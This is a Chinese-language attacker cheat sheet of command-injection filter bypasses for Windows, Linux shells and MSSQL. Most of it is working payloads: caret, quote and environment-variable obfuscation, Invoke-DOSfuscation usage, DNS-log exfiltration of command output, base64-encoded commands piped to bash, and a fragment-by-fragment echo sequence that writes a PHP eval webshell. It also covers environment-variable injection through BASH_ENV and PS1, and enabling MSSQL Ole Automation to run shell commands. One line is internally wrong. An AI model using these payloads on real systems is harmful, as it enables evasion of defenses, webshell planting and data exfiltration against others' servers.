各种bypass参考文章
https://xz.aliyun.com/t/15
判断windows还是linux
windows
ping -n 4 dnslog.cn
如果成功接收到消息就是Windows
Linux
ping -c 4 dnslog.cn
如果成功接收到消息就是Windows
1、windows的特性
基于windows的特性,双引号不会影响命令的执行,而^会一定程度的影响命令执行,但是单独使用的时候也是正常的。
因此:
w”””””””””””””hoami //正常执行
w”””””””””””””hoa^m””i //正常执行
w”””””””””””””hoa^^m””i //执行错误
(wh^”””o^a^m^i) //正常执行
w””hoa^mi
2、利用set
set a=who&& set b=ami && call %a%%b%
3、寻找windows路径%解析
windows 默认存在一些环境变量可以使用%%的方式来进行解析
如:%username%
%SystemRoot%
%temp%
%CommonProgramFiles%
%ProgramFiles%
who%ALLUSERSPROFILE:~8,1%mi
等
4、windows bypass 空格绕过
net%CommonProgramFiles:~10,1%user
也就是%CommonProgramFiles:~10,1% 意味着空格
原因是因为%CommonProgramFiles%中在window的路径就是如下(win+r)输入
5、windows下的通配符
打开C:\Windows\System32\calc.exe
^p^o^w^e^r^s^h^e^l^l;;; C:**2\ca?c.e?e
打开system32下的cmd.exe
powershell C:**2\n??ed.?
6、windows的tips
netstat -ano ————————》 netstat /ano
ping /n 1 127.0.0.1————》 ping /n 1 127.0.0.1
netstat/ano 少了个空格
ipconfig/all 少了个空格
dir,c:\ 空格替换成,
dir;c:\ 空格替换成;
ping/n 1 127.0.0.1
^n^e^t^s^t^a^t/ano
^n^e^t u^s^e^r test 123456 /^a^d^d
@netstat/ano
((ping/n^ ^1/ 127.0.0.1))
((p"in"g/"n^" ^1/ "12"7.0".0"."1"))
dir,c:\"w""""i""""n""""d""""o""""w"""s
dir;c:\"w""""i""""n""""d""""o""""w"""s
7、Invoke-Obfuscation
使用示例
Import-Module .\Invoke-DOSfuscation.psd1
Invoke-DOSfuscation
Tutorial——相当于help
# 三种混淆方式
BINARY
ENCODING
PAYLOAD
#使用示例
set command ipconfig && calc //设置命令
encoding //编码方式选择encoding
2 //encoding 的第二种类型
exec //编码完先执行一下
back //返回
payload //编码方式选择payload
forcode //编码方式选择forcode循环
1 //编码方式选择forcode循环的第1种类型
exec //编码完先执行一下
copy //复制
8、无回显DNSLOG带出
for /F “delims=\” %i in (‘whoami’) do ping -n 1 %i.zzmjk8.ceye.io
查看当前路径
%CD%
https://blog.csdn.net/Appleteachers/article/details/117119343?
Linux
1、分号
1、ping www; whoami 当前面命令执行的时候,分号后面也会一起执行,不论前面有无执行
2、拼接命令及环境变量
t=l; j=s; i=” -al”; $t$j$i 还有一个更常用的,就是拼接命令,然后$符号进行命令调用
拼接环境变量${PATH:0:1}
a=g;pin$a -c 1 127.0.0.1
a=i;p${a}ng -c 1 127.0.0.1
{cat,${PATH:0:1}etc${HOME:0:1}issue}
3、利用whois 命令传输命令到nc服务器
3、利用特殊符号
反斜杠\ 可以当做空字符
问号? 在字符串里可以当做任何字符
$跟字符 变量赋值,如果不再调用也可以当做空字符 字符有一定限制
ca\t /et?/p\a\ss$@wd
wh\oami
wh$1oami
who$@ami
whoa$*mi
同理可得
?在linux代表一个字符 注意是字符 不是命令
在linux代表多个字符 注意是字符 不是命令
那么就很好组合起来了
**/??n/i\fi?
那么同样的这是属于正则匹配的一种绕过,因此还有
cat /e[a-z]c/pa[a-z]swd
同样的,特殊符号也包括单引号与双引号
ca${9}t /e’t’c/p”asswd”
在这里利用${9}来代表空字符串,同样的这个数字9可以用其他数字来代替**
4、反引号
通过反引号,可以将一些无关的字符夹在在其中,造成混淆的作用
w\saldkj2190
ho\12wsa2
am\foj11
i
echo i
fconfig
5、来bypass空格
1 花括号
{ls,-alt}
{cat,/etc/passwd}
2 重定向符号<>
cat</etc/passwd
对于cat来说,执行效果是一样的,但是实现原理却完全不一样
cat a.txt : cat 程序读a.txt文件,并把它显示出来,cat获取到的是一个a.txt文件名
cat < a.txt : cat程序 显示 a.txt文件的内容 ,cat程序获取的不是文件名,而是a.txt的内容
3 $IFS
6、利用base64以及一些编码
1、base64echo
d2hvYW1pCg==|base64 -d`` 记得加反引号
echo “aWZjb25maWc=”|base64 -d |bash
2、倒叙
echo "imaohw" | rev
3、 利用echo 写shell
echo “<?php @eval($_POST[123]);?>” | base64
//输出一句话的base64编码
然后分别赋值给各个文件,echo -n 不会换行
echo -n PD>a;
echo -n 9w>b;
echo -n aH>c;
echo -n Ag>d;
echo -n QG>e;
echo -n V2>f;
echo -n YW>g;
echo -n wo>h;
echo -n JF>i;
echo -n 9Q>j;
echo -n T1>k;
echo -n NU>l;
echo -n Wz>m;
echo -n Ey>n;
echo -n M1>o;
echo -n 0p>p;
echo -n Oz>q;
echo -n 8+>r;
将各个文件拼接
cat a b>s;
cat s c>b;
cat b d>s;
cat s e>a;
cat a f>s;
cat s g>a;
cat a h>s;
cat s i>a;
cat a j>s;
cat s k>a;
cat a l>s;
cat s m>a;
cat a n>s;
cat s o>a;
cat a p>s;
cat s q>a;
cat a r>s;
base64解码一下,然后重新生成一个文件到Php,成为一个php木马
base64 -d s>z;
cp z tj.php;
7、利用History特性
mi
whoa
!-1!-2
可以看到成功执行了whoami命令
8、究极混淆
1、whoami
2、echo ‘who’’ami’ | bash
3、e\cho $’\x77ho$’\u0000’ami’ | bash
4、e\cho $’\x77ho$’\u0000’ami’ | $(echo hsab| rev)
5、e\cho $’\x77ho$’\u0000’ami’ | $(echo $(echo aHMK|base64 -d)ab| rev)
9、一些变量的注入
BASH_ENV:可以在bash -c的时候注入任意命令
BASH_ENV=’$(id 1>&2)’ bash -c ‘echo hello’
ENV:可以在sh -i -c的时候注入任意命令
ENV=’$(id 1>&2)’ sh -i -c “echo hello”
PS1:可以在sh或bash交互式环境下执行任意命令
PS1=’$(id)’ sh
PROMPT_COMMAND:可以在bash交互式环境下执行任意命令
PROMPT_COMMAND=’id’ bash
BASH_FUNC_xxx%%:可以在bash -c或sh -c的时候执行任意命令
env $’BASH_FUNC_echo%%=() { id; }’ bash -c ‘echo hello’
env $’BASH_FUNC_echo()=() { id; }’ bash -c ‘echo hello’
不过我感觉有Bash这个命令就很难搞了
命令执行无回显
curl xxxxxxxxxx whoami
那么此时会先执行命令whoami
那么此时可以会进行拼接,到curl的路径上
反弹shell
其实本质就是在``反引号的时候,先执行了命令,那么自然也就能反弹Shell了
通用绕过思路——程序重命名
linux 修改ping命令
cp /usr/bin/ping /tmp/p
/tmp/./p -c 1 127.0.0.1
执行bash或cmd
cp /bin/bash /tmp/b
copy C:\Windows\System32\cmd.exe 1.exe
MSSQL
注入遇到杀软
create table tmp(dir ntext,num int)创建表,
然后用insert tmp execute master..xp_dirtree ‘c:/‘,1将c盘目录插入到tmp表里,这样就可以获取到C盘的文件,以此来探测路径
xp_cmdshell被禁用
https://www.jianshu.com/p/e79d2a42338b
开启sp_oacreate
exec sp_configure 'show advanced options', 1; RECONFIGURE; exec sp_configure 'Ole Automation Procedures', 1; RECONFIGURE
构造命令语句,因为使用sp_oacreate执行命令是无回显的,使用dnslog平台进行判断:
Declare @runshell INT Exec SP_OACreate 'wscript.shell',@runshell out Exec SP_OAMeTHOD @runshell,'run',null,'ping who.xxxx.dnslog.cn';